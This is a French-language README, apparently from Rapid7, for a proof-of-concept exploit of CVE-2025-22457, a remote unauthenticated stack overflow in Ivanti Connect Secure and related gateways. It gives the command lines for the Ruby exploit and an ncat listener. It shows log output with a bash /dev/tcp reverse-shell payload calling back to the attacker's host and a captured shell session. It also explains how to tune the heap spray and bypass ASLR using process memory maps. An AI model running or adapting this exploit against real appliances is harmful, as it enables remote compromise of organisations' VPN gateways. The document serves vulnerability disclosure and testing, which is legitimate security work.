Preuve de concept CVE-2025-22457
Un débordement de tampon basé sur la pile, exploitable à distance sans authentification, affectant Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure et les passerelles ZTA
Ceci est une preuve de concept d'exploit pour démontrer l'exploitation de CVE-2025-22457. Pour une analyse technique complète de la vulnérabilité et de la stratégie d'exploitation, veuillez consulter notre analyse Rapid7 ici :
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
Nous pouvons exécuter ce script contre une cible Ivanti Connect Secure vulnérable, version 22.7r2.4, comme suit :
Démarrez un écouteur netcat pour recevoir le reverse shell.
C:\>ncat -lnvkp 8080
Exécutez l'exploit et forcez l'ASLR par brute force (Cela sera lent).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
Lorsque cela fonctionne, vous obtenez un reverse shell.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
Selon le matériel sous-jacent, le nombre de CPU disponibles sur l'appliance cible déterminera le nombre de processus enfants que le binaire /home/bin/web engendrera. Comme toutes les requêtes HTTPS entrantes seront réparties uniformément entre ces enfants, nous devons en tenir compte et effectuer le heap spray suffisamment de fois pour tous les processus enfants. Nous devons faire cela car lorsque nous déclenchons la vulnérabilité, nous ne pouvons pas savoir dans quel processus enfant nous la déclencherons. Nous avons donc besoin que le heap spray soit présent dans chaque processus enfant.
Par exemple, sur une appliance vulnérable avec accès root, exécutez la commande suivante pour voir le nombre de processus enfants /home/bin/web :
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
Vous pouvez spécifier le nombre attendu d'enfants web via l'argument --web_children, par exemple :
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
Si vous testez le PoC sur un système local, vous pouvez éviter de faire du brute force sur l'adresse de base de libdsplibs. Dans ce scénario, vous pouvez passer une adresse de base connue au PoC via l'argument --libdsplibs. Par exemple, sur une appliance vulnérable avec accès root, exécutez la commande suivante :
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
Ensuite, vous pouvez passer l'adresse de base connue au PoC comme suit :
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...